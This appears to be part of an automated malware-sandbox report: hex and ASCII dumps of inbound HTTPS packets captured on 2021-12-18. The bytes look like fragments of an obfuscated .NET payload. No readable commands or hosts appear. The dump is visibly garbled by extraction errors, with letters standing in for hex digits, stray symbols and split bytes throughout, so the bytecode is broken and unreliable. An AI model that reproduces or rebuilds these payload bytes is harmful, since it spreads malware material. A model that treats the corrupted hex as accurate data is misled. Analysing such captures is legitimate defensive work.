20 00 00 00 00 28 1f 01 00 06 3a Of 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe Oc 37 00 45 02 00 00 00 05 00 00 00 3f
00 00 00 38 00 00 00 00 dO 2e 00 00 02 28 03 01 00 06 11 07 28 10 01 00 06 28 11 01 00 06 74 2e 00 00 02 80 5b 00 00
0420 01 00 00 00 28 1f 01 00 06 3a bf ff ff ff 26 20 01 00 00

Data Ascii: wso.((t.[ (:& 8E8m)& (:& 8E8wso.(( (:& 87E?8.(((t.[ (:&

Data Raw: 33 00 20 56 01 00 00 38 24 6 ff ff 16 6a 13 77 20 c7 00 00 00 28 1e 01 00 06 3a 11 €6 ff ff 26 20 02 00 00 00
38 06 e6 ff ff 11 64 28 fa 00 00 06 20 c7 01 00 00 38 f5 €5 ff ff 11 74 11 13 1a 58 11 70 1a 91 9¢ 20 ba 00 00 00 38 €0 €5
ff ff 11 27 11 6¢ 11 25 20 ff 00 00 00 5f d2 9c 20 00 00 00 00 28 1f 01 00 06 3a c3 €5 ff ff 26 20 0a 00 00 00 38 b8 €5 ff ff
11 5e 11 08 1a 5a 11 15 12 15 28 b0 00 00 06 26 20 98 00 00 00 28 1f 01 00 06 3a 99 €5 ff ff 26 20 08 01 00 00 38 8e €5
ff ff 11 4c 11 38 3f 23 46 00 00 20 43 01 00 00 38 7b 5 ff ff 20 95 00 00 00 20 50 00 00 00 59 fe Oe 33 00 20 c1 01 00 00
28 1e 01 00 06 39 5d €5 ff ff 26 20 f8 01 00 00 38 52 €5 ff ff 20 6b 00 00 00 20 27 00 00 00 58 fe Oe 35 00 20 3a 00 00 00
38 39 e5 ff ff fe Oc 10 00 20 15 00 00

Data Ascii: 3 V8$jw (:& 8d( 8tXp 81% _ (:& 8°Z(& (:& 8L8?#F C8{ PY3 (9]& 8R k 'X5 :89

Data Raw: 01 00 00 38 cf e0 ff ff 11 74 11 13 1a 58 11 6f 1a 91 9¢ 20 5e 00 00 00 fe Oe 22 00 38 b2 e0 ff ff 28 d4 00 00 06
1a 3b 42 30 00 00 20 45 02 00 00 38 al eO ff ff 20 b8 00 00 00 20 23 00 00 00 58 fe Oe 33 00 20 1c 00 00 00 28 1f 01 00
06 3a 83 e0 ff ff 26 20 77 00 00 00 38 78 €O ff ff 20 8f 00 00 00 20 2f 00 00 00 59 fe Oe 3b 00 20 a1 00 00 00 28 1f 01 00
06 3a 5a eO ff ff 26 20 64 01 00 00 38 4f e0 ff ff 20 31 00 00 00 20 1d 00 00 00 58 fe Oe 33 00 20 96 02 00 00 38 36 €O ff ff
20 94 00 00 00 20 31 00 00 00 59 fe Oe 33 00 20 62 00 00 00 38 1d e ff ff fe Oc 49 00 20 02 00 00 00 20 37 00 00 00 20
07 00 00 00 58 9c 20 18 01 00 00 38 fe df ff ff 11 66 1e 62 13 66 20 32 00 00 00 28 1e 01 00 06 39 e9 df f ff 26 20 65 01
00 00 38 de df ff ff fe Oc 49 00 20 04

Data Ascii: 8tXo "8(;B0 E8 #X3 (:& w8x /Y; (:Z& d80 1 X386 1Y3 b8l 7 X 8fbf 2(9& e8I

Data Raw: 12 00 00 00 fe Oc 33 00 9c 20 8a 02 00 00 38 6b db ff ff fe Oc 49 00 20 Ob 00 00 00 20 94 00 00 00 20 31 00 00
00 59 9¢ 20 6a 00 00 00 38 4c db ff ff 11 4c 17 58 13 4c 20 a0 01 00 00 38 3c db ff ff 38 1c 3b 00 00 20 3a 01 00 00 38 2d
db ff ff 12 5e 7e 64 00 00 04 11 28 6a 58 11 54 6a 59 28 6f 00 00 0a 20 12 00 00 00 28 1f 01 00 06 3a Oa db ff ff 26 20 68
02 00 00 38 ff da ff ff 1f Oc 8d 17 00 00 01 13 56 20 79 00 00 00 38 ec da ff ff fe Oc 10 00 20 0d 00 00 00 fe Oc 33 00 9¢ 20
dd 01 00 00 28 1e 01 00 06 3a cf da ff ff 26 20 d0 00 00 00 38 c4 da ff ff 20 83 00 00 00 20 07 00 00 00 59 fe Oe 33 00 20
b5 01 00 00 38 ab da ff f 7f 6f 00 00 04 28 72 00 00 Oa 28 fe 00 00 06 13 51 20 19 01 00 00 38 90 da ff ff fe Oc 49 00 13 58
20 cf 00 00 00 38 80 da ff ff fe

Data Ascii: 3 8kl 1Y j8LLXL 8<8; :8-*~d(XTjY(0 (:& h8V y8 3 (:& 8 Y3 80(r(Q 8IX 8

Data Raw: 58 fe Oe 33 00 20 00 00 00 00 28 1e 01 00 06 3a 11 d6 ff ff 26 20 00 00 00 00 38 06 d6 ff ff 11 56 1f 09 1f 64 9c
20 9c 00 00 00 28 1f 01 00 06 39 f0 d5 ff ff 26 20 29 00 00 00 38 €5 d5 ff ff fe Oc 10 00 20 04 00 00 00 fe Oc 33 00 9c 20 13
00 00 00 38 cd d5 ff ff 14 13 70 20 9f 01 00 00 fe Oe 22 00 38 b8 d5 ff ff 20 79 00 00 00 20 6e 00 00 00 59 fe Oe 3b 00 20
1a 00 00 00 28 1e 01 00 06 39 9e d5 ff ff 26 20 24 00 00 00 38 93 d5 ff ff 11 32 28 ab 00 00 06 13 03 20 7f 00 00 00 38 80
d5 ff ff fe Oc 10 00 20 Oc 00 00 00 fe Oc 33 00 9c 20 69 00 00 00 38 68 d5 ff ff 20 df 00 00 00 20 4a 00 00 00 59 fe Oe 3b 00
20 32 00 00 00 38 4f d5 ff ff 11 6d 13 4f 20 76 00 00 00 28 1e 01 00 06 39 3c d5 ff ff 26 20 a3 00 00 00 38 31 d5 ff ff 11 71
1109 3f al ee ff ff 20 1a

Data Ascii: X3 (:& 8Vd (9& )8 3 8p "8 y nY; (9& $82( 8 3 i8h JY; 280mO v(9<& 81q?

Data Raw: 66 el ff ff 20 17 01 00 00 28 1e 01 00 06 3a b9 do ff ff 26 20 0d 00 00 00 38 ae doO ff ff 20 f4 {3 f2 f1 13 1e 20 73
02 00 00 38 9d doO ff ff 11 09 17 58 13 09 20 64 02 00 00 28 1f 01 00 06 39 88 dO ff ff 26 20 24 01 00 00 38 7d dO ff ff 38 36
17 00 00 20 03 00 00 00 38 6e dO ff ff 11 4f 11 3e 19 58 91 1f 18 62 11 4f 11 3e 18 58 91 1f 10 62 60 11 4f 11 3e 17 58 91
le 62 60 11 4f 11 3e 91 60 13 14 20 €9 01 00 00 28 1e 01 00 06 3a 38 dO ff ff 26 20 9a 01 00 00 38 2d doO ff ff fe Oc 49 00
20 02 00 00 00 fe Oc 35 00 9¢ 20 72 02 00 00 38 15 do ff ff fe Oc 10 00 20 08 00 00 00 fe Oc 33 00 9¢ 20 b7 01 00 00 38 fd
cf ff ff fe Oc 10 00 20 18 00 00 00 fe Oc 33 00 9¢ 20 85 02 00 00 28 1e 01 00 06 3a e0 cf ff ff 26 20 81 01 00 00 38 d5 cf ff ff
fe Oc 10 00 20 17 00 00

Data Ascii: f (:& 8 s8X d(9& $8}86 8nO>XbO>Xb O>Xb'O>" (:8& 8-15r8 383 (:& 8
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kBytes
Timestamp transferred Direction Data

2021-12-18 17:40:10 UTC 21 IN Data Raw: ff ff 11 56 1f Oa 1f 6¢ 9c 20 1d 01 00 00 fe Oe 22 00 38 58 cb ff ff 16 e0 13 6b 20 55 00 00 00 38 4e cb ff ff fe Oc
49 00 20 03 00 00 00 20 11 00 00 00 20 6d 00 00 00 58 9¢ 20 29 00 00 00 28 1f 01 00 06 3a 2a cb ff ff 26 20 ed 00 00 00
38 1f cb ff ff fe Oc 10 00 20 Ob 00 00 00 fe Oc 33 00 9c 20 ca 01 00 00 38 07 cb ff ff 11 27 11 6¢ 17 58 11 25 20 00 ff 00 00
5f 1e 64 d2 9c 20 6d 00 00 00 28 1f 01 00 06 3a €6 ca ff ff 26 20 38 01 00 00 38 db ca ff ff 20 c1 00 00 00 20 19 00 00 00
58 fe Oe 3b 00 20 6e 01 00 00 38 c2 ca ff ff 11 5a 11 Oe 58 13 5a 20 29 01 00 00 28 1f 01 00 06 39 ac ca ff ff 26 20 3d 00 0
000 38 alca ff ff 11 12 1b 1f 74 9c 20 94 01 00 00 38 91 ca ff ff fe Oc 49 00 20 06 00 00 00 fe Oc 3b 00 9¢ 20 7e 00 00 00
38 79 ca ff ff 72 5b Oe 00 70
Data Ascii: VI "8Xk USNI mX )(:*& 8 3 81X% _d m(:& 88 X; n8ZXZ )(9& =8t 8l ; ~8yr[p

2021-12-18 17:40:10 UTC 23 IN Data Raw: 00 06 3a 13 c6 ff ff 26 20 50 00 00 00 38 08 c6 ff ff 11 12 1a 1f 69 9c 20 a0 00 00 00 28 1e 01 00 06 39 f3 c5 ff
ff 26 20 48 01 00 00 38 e8 c5 ff ff 00 11 5d 28 d7 00 00 06 28 d8 00 00 06 13 Oa 20 00 00 00 00 28 1f 01 00 06 3a Of 00 00
00 26 20 00 00 00 00 38 04 00 00 00 fe Oc 65 00 45 02 00 00 00 05 00 00 00 64 01 00 00 38 00 00 00 00 00 38 40 00 00
00 20 01 00 00 00 28 1f 01 00 06 3a Of 00 00 00 26 20 01 00 00 00 38 04 00 00 00 fe Oc 31 00 45 06 00 00 00 8f 00 00 00
2b 00 00 00 48 00 00 00 72 00 00 00 05 00 00 00 63 00 00 00 38 8a 00 00 00 11 Oa 28 e4 00 00 06 3a 1a 00 00 00 20 00
00 00 00 28 1e 01 00 06 3a c3 ff ff ff 26 20 00 00 00 00 38 b8 ff ff ff 11 0a 28 d9 00 00 06 74 53 00 00 01 28 dO 00 00 06
13 75 20 02 00 00 00 38 9b ff ff ff 12 75 28 71 00
Data Ascii: :& P8i (9& H8](( (:& 8eEd88@ (:& 81E+Hrc8(: (:& 8(tS(u 8u(q

2021-12-18 17:40:10 UTC 24 IN Data Raw: ff ff 11 74 11 72 18 58 11 6f 18 91 9c 20 a2 01 00 00 38 aa cO ff ff 16 13 Oe 20 92 00 00 00 38 9d cO ff ff 11 21
16 28 ¢5 00 00 06 26 20 1a 00 00 00 28 1e 01 00 06 3a 85 cO ff ff 26 20 17 00 00 00 38 7a cO ff ff 20 71 00 00 00 20 6d 00
00 00 58 fe Oe 33 00 20 07 02 00 00 28 1e 01 00 06 3a 5¢ cO ff ff 26 20 0b 00 00 00 38 51 cO ff ff 11 1a 28 3 00 00 06 13
4b 20 fe 00 00 00 fe Oe 22 00 38 36 cO ff ff 11 4f 8e 69 8d 17 00 00 01 13 27 20 cd 01 00 00 38 25 cO ff ff 20 7b 00 00 00
20 08 00 00 00 58 fe Oe 35 00 20 6d 00 00 00 38 Oc cO ff ff 38 d6 ea ff ff 20 15 02 00 00 28 1f 01 00 06 39 18 bf ff ff 26 20 5
300 00 00 38 ed bf ff ff 16 13 54 20 13 01 00 00 38 €0 bf ff ff 20 db 00 00 00 20 49 00 00 00 59 fe Oe 3b 00 20 86 00 00 00
38 c7 bf ff ff fe Oc 49 00 20
Data Ascii: trXo 8 8!(& (:& 8z q mX3 (:\& 8Q(K "860i' 8% { X5 m88 (9& S8T 8 1Y; 8

2021-12-18 17:40:10 UTC 25 IN Data Raw: dd fe 10 00 00 20 f7 01 00 00 38 59 bb ff ff fe Oc 10 00 13 1c 20 a3 01 00 00 28 1e 01 00 06 3a 44 bb ff ff 26 20
d8 00 00 00 38 39 bb ff ff fe Oc 49 00 20 0a 00 00 00 20 2b 00 00 00 20 03 00 00 00 58 9¢ 20 2f 02 00 00 38 1a bb ff ff fe
0Oc 49 00 20 0a 00 00 00 20 9a 00 00 00 20 33 00 00 00 59 9c 20 8e 02 00 00 fe Oe 22 00 38 3 ba ff ff fe Oc 10 00 20 16 00
00 00 fe Oc 33 00 9c 20 36 02 00 00 28 1f 01 00 06 39 da ba ff ff 26 20 25 00 00 00 38 cf ba ff ff fe Oc 49 00 20 02 00 00 00
fe Oc 3b 00 9¢ 20 11 00 00 00 28 1f 01 00 06 39 b2 ba ff ff 26 20 0e 00 00 00 38 a7 ba ff ff 11 2f 73 6f 00 00 Oa 28 0a 01 0
006 6a 13 77 20 ac 01 00 00 38 8e ba ff ff 11 56 16 1f 6d 9c 20 76 00 00 00 28 1e 01 00 06 3a 79 ba ff ff 26 20 19 00 00
00 38 6e ba ff ff 11 56 17 1f 6¢
Data Ascii: 8Y (:D& 891 + X /8] 3Y "8 3 6(9& %8I ; (9& 8/so(jw 8Vm v(:y& 8nVI

2021-12-18 17:40:10 UTC 27 IN Data Raw: 01 00 06 8¢ 57 00 00 01 28 16 01 00 06 13 42 20 02 00 00 00 28 1e 01 00 06 39 0f 00 00 00 26 20 Oe 00 00 00
3804 00 00 00 fe Oc 17 00 45 13 00 00 00 3a 02 00 00 b5 00 00 00 ef 01 00 00 2a 03 00 00 e0 01 00 00 5e 00 00 00 c5 02
00 00 b0 02 00 00 09 03 00 00 4b 02 00 00 1b 00 00 00 3f 00 00 00 70 02 00 00 2¢ 00 00 00 05 00 00 00 14 02 00 00 &d
02 00 00 e7 02 00 00 83 00 00 00 38 35 02 00 00 11 42 75 14 00 00 01 3a 03 02 00 00 20 Ob 00 00 00 38 94 ff ff ff 73 75
00 00 Oa 13 47 20 08 00 00 00 38 83 ff ff ff 11 47 16 6a 28 €8 00 00 06 20 10 00 00 00 38 70 ff ff ff 38 1a 00 00 00 20 Of 00
00 00 28 1e 01 00 06 3a 5c ff ff ff 26 20 07 00 00 00 38 51 ff ff ff 11 42 6f 76 00 00 Oa 6f 77 00 00 Oa 72 fb Oe 00 70 28 dc
00 00 06 39 a2 ff ff ff 20 12 00 00 00 38 2c ff
Data Ascii: W(B (9& 8E:**K?p,85Bu: 8suG 8Gj( 8p8 (:\& 8QBovowrp(9 8,

2021-12-18 17:40:10 UTC 28 IN Data Raw: ff 20 a6 01 00 00 28 1f 01 00 06 39 a6 b0 ff ff 26 20 2c 01 00 00 38 9b b0 ff ff 20 60 00 00 00 20 0a 00 00 00 58
fe Oe 33 00 20 2e 02 00 00 fe Oe 22 00 38 7a b0 ff ff 28 d4 00 00 06 1a 40 21 e3 ff ff 20 9d 00 00 00 38 69 bO ff ff 1f 1e 8d
17 00 00 01 25 d0 0a 01 00 04 28 1b 01 00 06 13 26 20 20 02 00 00 38 4b b0 ff ff 11 27 11 6c 19 58 11 25 20 00 00 00 ff
5f 1f 18 64 d2 9c 20 f0 01 00 00 38 2e bo ff ff fe Oc 49 00 20 0d 00 00 00 20 cb 00 00 00 20 53 00 00 00 59 9¢ 20 57 00 00
00 28 1e 01 00 06 39 0a bO ff ff 26 20 78 00 00 00 38 ff af ff ff fe Oc 10 00 20 0d 00 00 00 fe Oc 33 00 9¢ 20 21 00 00 00 28
1 01 00 06 3a e2 af ff ff 26 20 8d 00 00 00 38 d7 af ff ff fe Oc 49 00 20 06 00 00 00 fe Oc 3b 00 9c 20 f3 01 00 00 38 bf af ff
ff fe Oc 10 00 20 19 00 00
Data Ascii: (9& 8 X3 ."82(@! 8i%(& 8K'X% _d 8.1 SY W(9& x8 3 1(:& 8l ; 8

2021-12-18 17:40:10 UTC 29 IN Data Raw: 21 28 Ob 01 00 06 13 2f 20 51 01 00 00 38 4b ab ff ff 28 cd 00 00 06 20 42 00 00 00 38 3c ab ff ff fe Oc 10 00 20
11 00 00 00 fe Oc 33 00 9¢ 20 10 00 00 00 28 1f 01 00 06 39 1f ab ff ff 26 20 05 00 00 00 38 14 ab ff ff fe Oc 10 00 20 06 00
00 00 fe Oc 33 00 9¢ 20 67 01 00 00 28 1e 01 00 06 39 {7 aa f ff 26 20 9e 02 00 00 38 ec aa ff ff 17 8d 17 00 00 01 16 1e
28 ch 00 00 06 17 28 cc 00 00 06 20 6 00 00 00 38 cf aa ff ff 16 6a 13 2f 20 Oc 00 00 00 28 1f 01 00 06 3a bc aa ff ff 26 20
2100 00 00 38 b1 aa ff f fe Oc 10 00 20 07 00 00 00 20 3¢ 00 00 00 20 5b 00 00 00 58 9¢ 20 22 00 00 00 fe Oe 22 00 38 8
a aa ff ff 20 5e 00 00 00 20 35 00 00 00 58 fe Oe 33 00 20 76 00 00 00 28 1f 01 00 06 3a 70 aa ff ff 26 20 eb 00 00 00 38
65 aa ff ff 00 20 0a 01 00 00 28
Data Ascii: I(/ Q8K( B8< 3 (9& 8 3 g(9& 8(( 8]/ (:& !8 < [X "8 ~ 5X3 v(:p& 8e (

2021-12-18 17:40:10 UTC 31 IN Data Raw: 00 00 00 38 fc a5 ff ff 20 db 00 00 00 20 49 00 00 00 59 fe Oe 33 00 20 bd 00 00 00 28 1e 01 00 06 39 de a5 ff
ff 26 20 d0 01 00 00 38 d3 a5 ff ff 11 2b 16 8f 17 00 00 01 e0 13 6b 20 28 00 00 00 38 be a5 ff ff 20 d6 00 00 00 20 47 00
00 00 59 fe Oe 33 00 20 37 01 00 00 38 a5 a5 ff ff fe Oc 10 00 20 1e 00 00 00 fe Oc 33 00 9¢ 20 50 02 00 00 38 8d a5 ff ff fe
0Oc 49 00 20 07 00 00 00 fe Oc 35 00 9¢ 20 2¢c 00 00 00 28 1e 01 00 06 3a 70 a5 ff ff 26 20 2c 00 00 00 38 65 a5 ff ff fe Oc
10 00 20 Oc 00 00 00 fe Oc 33 00 9¢ 20 4e 01 00 00 28 1e 01 00 06 3a 48 a5 ff ff 26 20 fa 00 00 00 38 3d a5 ff ff 00 38 4¢
00 00 00 20 08 00 00 00 fe Oe 41 00 38 00 00 00 00 fe Oc 41 00 45 Oc 00 00 00 49 00 00 00 2f 01 00 00 61 00 00 00 2b 00
00 00 ca 00 00 00 81 01 00 00 da 00 00
Data Ascii: 8 1Y3 (9& 8+k (8 GY3 78 3 P8I 5,(:p& ,8e 3 N(:H& 8=8L A8BAEl/a+

2021-12-18 17:40:10 UTC 32 IN Data Raw: 20 60 00 00 00 38 a1 a0 ff ff 20 86 00 00 00 20 2¢ 00 00 00 59 fe Oe 33 00 20 cb 01 00 00 38 88 ao ff ff 38 b0 cf
ff ff 20 42 01 00 00 28 1f 01 00 06 3a 74 a0 ff ff 26 20 72 01 00 00 38 69 a0 ff ff fe Oc 10 00 20 16 00 00 00 20 80 00 00 00
20 07 00 00 00 58 9c¢ 20 9b 00 00 00 28 1f 01 00 06 39 45 a0 ff ff 26 20 23 00 00 00 38 3a a0 ff ff fe Oc 49 00 20 00 00 00
00 20 95 00 00 00 20 47 00 00 00 58 9c 20 2b 02 00 00 38 1b a0 ff ff 11 5a 13 5a 20 0f 00 00 00 38 0d ao0 ff ff fe Oc 49 00
20 0a 00 00 00 fe Oc 3b 00 9c 20 4b 02 00 00 28 1f 01 00 06 39 f0 Of ff ff 26 20 4f 01 00 00 38 e5 9f ff ff 16 13 5b 20 48 00
00 00 28 1f 01 00 06 39 d3 9f ff ff 26 20 1d 00 00 00 38 ¢8 9f ff ff fe Oc 10 00 20 16 00 00 00 fe Oc 33 00 9c 20 af 01 00 00

28 1f 01 00 06 3a ab Of ff
Data Ascii: '8 ,Y3 88 B(:t& r8i X (9E& #8:I GX +8ZZ 81 ; K(9& O8[ H(9& 8 3 (:
2021-12-18 17:40:10 UTC 33 IN Data Raw: 00 00 00 38 a2 9b ff ff 11 5a 11 5a 20 e4 2d ba 2e fe Oe 34 00 20 ae el 51 Oa fe Oe 50 00 fe Oe 4e 00 20 55 54

¢3 35 fe Oe 43 00 20 66 b3 d4 34 fe Oe 1d 00 20 d6 ce ec 60 fe Oe 57 00 20 b7 83 11 00 fe Oc 1d 00 1f 7f 5f 5a fe Oc 1d 00
1d 64 59 fe Oe 1d 00 20 ef 8f 32 01 fe Oc 34 00 1f 7f 5f 5a fe Oc 34 00 1d 64 59 fe Oe 34 00 20 b6 93 00 00 fe Oc 43 00 5a fe
0c 50 00 59 fe Oe 43 00 20 f0 a5 7¢ b0 6a fe Oe 2d 00 fe Oc 2d 00 16 6a 40 Ob 00 00 00 fe Oc 2d 00 17 6a 59 fe Oe 2d 00 fe
0c 50 00 fe Oc 50 00 5a 6e fe Oc 2d 00 5e 6d fe Oe 50 00 20 df 12 b0 54 fe Oc 34 00 61 fe Oe 43 00 20 3f 43 06 00 fe Oc 50
00 20 ff 0f 00 00 5f 5a fe Oc 50 00 1f Oc 64 58 fe Oe 50 00 20 82 25 07 00 fe Oc 34 00 20 ff 0f 00 00 5f 5a fe Oc 34 00 1f Oc
64 59 fe Oe 34 00 20 76 c2 00 00

Data Ascii: 8ZZ -.4 QPN UT5C f4 "W _ZdY 24_Z4dY4 CZPYC |j-j@-jY-PPZn-"mP T4aC ?CP _ZPdXP %4 _z4dY4 v
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kBytes
Timestamp transferred Direction Data

2021-12-18 17:40:10 UTC 34 IN Data Raw: 70 28 80 00 00 Oa 28 ac 00 00 06 dO 36 00 00 02 28 23 00 00 Oa 28 81 00 00 Oa 74 36 00 00 02 80 6e 00 00 04
7e 6e 00 00 04 02 03 04 6f 54 01 00 06 2a 00 13 30 04 00 4d 00 00 00 00 00 00 00 7e 62 00 00 04 3a 37 00 00 00 28 b3
000006 72 1d 10 00 70 28 62 00 00 Oa 72 2b 10 00 70 28 80 00 00 Oa 28 ac 00 00 06 dO 37 00 00 02 28 23 00 00 Oa 28
81 00 00 Oa 74 37 00 00 02 80 62 00 00 04 7e 62 00 00 04 02 6f 59 01 00 06 2a 00 00 00 e2 7e 54 00 00 04 7e 0a 00 00 O
a 28830000 0a 39 1e 00 00 00 72 39 10 00 70 28 62 00 00 Oa 72 49 10 00 70 28 80 00 00 Oa 28 ab 00 00 06 80 54 00
00 04 7e 54 00 00 04 2a 00 00 00 1b 30 05 00 50 00 00 00 14 00 00 11 02 19 17 17 73 84 00 00 Oa Ob 16 Oc 07 6f 3d 00
00 0a 69 0d 09 8d 17 00 00 01 Oa 38 15 00 00 00 07 06 08 09 6f 34 00 00
Data Ascii: p((6(#(t6n~noT*OM~b:7(rp(br+p((7(#(t7b~boY*~T~(9r9p(brlp((T~T*0Pso=i804

2021-12-18 17:40:10 UTC 36 IN Data Raw: fe 09 01 00 28 8d 00 00 Oa 2a 2a fe 09 00 00 6f 9d 00 00 Oa 2a 00 2a fe 09 00 00 6f 9e 00 00 Oa 2a 00 2a fe 09
00 00 6f 9f 00 00 Oa 2a 00 2a fe 09 00 00 6f a0 00 00 Oa 2a 00 2a fe 09 00 00 6f a1 00 00 Oa 2a 00 3e 00 fe 09 00 00 fe 09
01 00 28 a2 00 00 Oa 2a 3e 00 fe 09 00 00 fe 09 01 00 28 a3 00 00 Oa 2a 2a fe 09 00 00 6f a4 00 00 Oa 2a 00 2a fe 09 00
00 6f 85 00 00 Oa 2a 00 3a fe 09 00 00 fe 09 01 00 6f 3b 00 00 Oa 2a 00 2a fe 09 00 00 6f 39 01 00 06 2a 00 3a fe 09 00 00
fe 09 01 00 6f 37 00 00 Oa 2a 00 2a fe 09 00 00 6f 3d 00 00 Oa 2a 00 3a fe 09 00 00 fe 09 01 00 6f 3a 01 00 06 2a 00 2e
00 fe 09 00 00 28 a5 00 00 Oa 2a 2a fe 09 00 00 6f 7b 00 00 Oa 2a 00 2a fe 09 00 00 6f a6 00 00 Oa 2a 00 4e 00 fe 09 00
00 fe 09 01 00 fe 09 02 00 28 a7 00 00 Oa 2a 2a
Data Ascii: (**0**0**0**0**0*>(*>(**0**0*:0;**09*:07**0=":0:*.(**0{**0*N (**

2021-12-18 17:40:10 UTC 37 IN Data Raw: 51 2a 00 00 2c 31 00 00 80 2d 00 00 9c 24 00 00 a9 12 00 00 55 06 00 00 d9 23 00 00 8b 2b 00 00 c0 13 00 00
b5 2e 00 00 7a 2e 00 00 75 09 00 00 ec 01 00 00 32 11 00 00 3c 25 00 00 ef 09 00 00 bb 1b 00 00 47 2c 00 00 5a 1f 00 00
7 10 00 00 9e 22 00 00 eb 2c 00 00 a2 03 00 00 b3 06 00 00 b9 2a 00 00 cf 17 00 00 46 18 00 00 75 22 00 00 Oe 21 00
00 3¢ 13 00 00 16 10 00 00 34 0d 00 00 b3 21 00 00 e4 12 00 00 5f Oc 00 00 ff 13 00 00 79 17 00 00 8b 31 00 00 03 2d 00
00 22 2d 00 00 2e Oc 00 00 f7 2d 00 00 32 20 00 00 ec 25 00 00 cf 1a 00 00 16 11 00 00 e5 10 00 00 d5 27 00 00 84 10 00
00 08 03 00 00 d8 2e 00 00 ca 1f 00 00 a7 28 00 00 83 1f 00 00 93 05 00 00 cc 2¢ 00 00 f9 2b 00 00 86 29 00 00 db 2f 00
00 f2 1e 00 00 67 1b 00 00 08 27 00 00 49 0Of 00 00 56 28 00
Data Ascii: Q*,1-$U#+.z2.u2<%G,Z" *Fu"l<4!_y1-"-.-2 %".(,+)/g'I\V(

2021-12-18 17:40:10 UTC 38 IN Data Raw: 1b 00 00 Oa 30 00 00 58 27 00 00 6a 1f 00 00 44 28 00 00 7e Oc 00 00 ¢5 0a 00 00 2b 23 00 00 €7 0d 00 00 9f
2f 00 00 a7 Ob 00 00 2c 01 00 00 d4 1b 00 00 41 05 00 00 9 Oe 00 00 a9 2d 00 00 69 23 00 00 2¢ 29 00 00 fa 12 00 00
d6 Ob 00 00 93 21 00 00 38 00 Oc 00 00 20 b5 00 00 00 20 3¢ 00 00 00 59 fe Oe 06 00 20 f2 00 00 00 38 99 f9 ff ff fe Oc 1b
0020 02 00 00 00 20 a8 00 00 00 20 50 00 00 00 59 9¢ 20 66 01 00 00 fe Oe 18 00 38 72 9 ff ff fe Oc 2a 00 20 0d 00 00 00
2030 00 00 00 20 21 00 00 00 58 9¢ 20 b9 00 00 00 28 73 01 00 06 39 52 f9 ff ff 26 20 86 00 00 00 38 47 f9 ff ff 20 3a 00
00 00 20 76 00 00 00 58 fe Oe 06 00 20 14 01 00 00 fe Oe 18 00 38 26 f9 ff ff fe Oc 2a 00 20 0a 00 00 00 20 62 00 00 00 20
2e 00 00 00 58 9¢ 20 29 01 00 00 38 0Ob f9 ff ff
Data Ascii: OX'jD(~+#/,A-i#,)18 <Y 8 PY f8r 0 IX (S9R& 8G : vX 8&* b .X)8

2021-12-18 17:40:10 UTC 40 IN Data Raw: 06 00 00 00 fe Oc Oc 00 9¢ 20 35 01 00 00 38 9e f4 ff ff fe Oc 1b 00 20 04 00 00 00 fe Oc 06 00 9c 20 4e 00 00
00 28 72 01 00 06 3a 81 f4 ff ff 26 20 26 00 00 00 38 76 f4 ff ff 20 2f 00 00 00 20 02 00 00 00 59 fe Oe 06 00 20 11 01 00
00 38 5d f4 ff ff fe Oc 1b 00 20 16 00 00 00 fe Oc 06 00 9c 20 39 00 00 00 38 45 f4 ff ff 11 1e 11 07 58 13 1e 20 62 01 00 00
28 72 01 00 06 3a 2f f4 ff ff 26 20 a7 00 00 00 38 24 f4 ff ff fe Oc 2a 00 20 05 00 00 00 20 fa 00 00 00 20 53 00 00 00 59 9¢
20 5f 00 00 00 38 05 f4 ff ff fe Oc 1b 00 20 05 00 00 00 fe Oc 06 00 9¢ 20 56 00 00 00 38 ed f3 ff ff fe Oc 1b 00 20 15 00 00
00 fe Oc 06 00 9¢ 20 43 00 00 00 28 73 01 00 06 3a d0 f3 ff ff 26 20 3a 01 00 00 38 c5 f3 ff ff fe Oc 1b 00 20 Oc 00 00 00 fe
0Oc 06 00 9c 20 49 01 00 00
Data Ascii: 58 N(r:& &8v /Y 8] 98EX b(r:/& 8%* SY _8 V8 C(s:&:8 |

2021-12-18 17:40:10 UTC 41 IN Data Raw: fe Oe 06 00 20 3c 00 00 00 28 73 01 00 06 3a 45 ef ff ff 26 20 6e 01 00 00 38 3a ef ff ff fe Oc 1b 00 20 16 00 00
00 fe Oc 06 00 9¢ 20 81 01 00 00 38 22 ef ff ff 11 1e 11 07 58 13 1e 20 3f 00 00 00 38 11 ef ff ff fe Oc 1b 00 20 03 00 00 00
20 71 00 00 00 20 37 00 00 00 58 9¢ 20 82 00 00 00 38 2 ee ff ff 20 d2 00 00 00 20 46 00 00 00 59 fe Oe 06 00 20 Oe 00
00 00 28 73 01 00 06 3a d4 ee ff ff 26 20 75 00 00 00 38 c9 ee ff ff fe Oc 1b 00 20 03 00 00 00 20 b8 00 00 00 20 3d 00 00
00 59 9¢ 20 26 01 00 00 38 aa ee ff ff fe Oc 2a 00 20 Oc 00 00 00 fe Oc Oc 00 9c 20 15 01 00 00 38 92 ee ff ff 20 ea 00 00
00 20 4e 00 00 00 59 fe Oe 06 00 20 16 00 00 00 38 79 ee ff ff 11 1e 11 00 61 13 29 20 4e 01 00 00 28 72 01 00 06 3a 63
ee ff ff 26 20 06 01 00 00 38 58 ee ff
Data Ascii: <(s:E& n8: 8"X ?8 q7X 8 FY (s:&u8 =Y &8* 8 NY 8ya) N(r:c& 8X

2021-12-18 17:40:10 UTC 43 IN Data Raw: 00 00 00 38 {7 e9 ff ff fe Oc 1b 00 20 09 00 00 00 fe Oc 06 00 9c 20 7d 01 00 00 38 df e9 ff ff fe Oc 1b 00 20 01
00 00 00 20 13 00 00 00 20 05 00 00 00 58 9c 20 88 00 00 00 38 c0 €9 ff ff fe Oc 1b 00 20 18 00 00 00 20 18 00 00 00 20
7a 00 00 00 58 9¢ 20 94 00 00 00 38 al e9 ff ff 11 09 17 58 13 09 20 c¢7 00 00 00 28 72 01 00 06 39 8¢ e9 ff ff 26 20 f3 00
00 00 38 81 e9 ff ff fe Oc 1b 00 20 Of 00 00 00 20 03 00 00 00 20 1c 00 00 00 58 9¢ 20 7e 01 00 00 38 62 €9 ff ff fe Oc 2a
00 20 Oc 00 00 00 20 14 00 00 00 20 6¢ 00 00 00 58 9¢ 20 65 00 00 00 28 73 01 00 06 39 3e e9 ff ff 26 20 10 00 00 00 38
33 e9 ff ff fe Oc 1b 00 20 05 00 00 00 20 19 00 00 00 20 63 00 00 00 58 9c 20 48 00 00 00 38 14 e9 ff ff fe Oc 1b 00 20 Of
00 00 00 20 98 00 00 00 20 32 00 00 00 59
Data Ascii: 8 }8 X8 zX8X (r9& 8 X ~8b* IX e(s9>& 83 cXH8 2Y

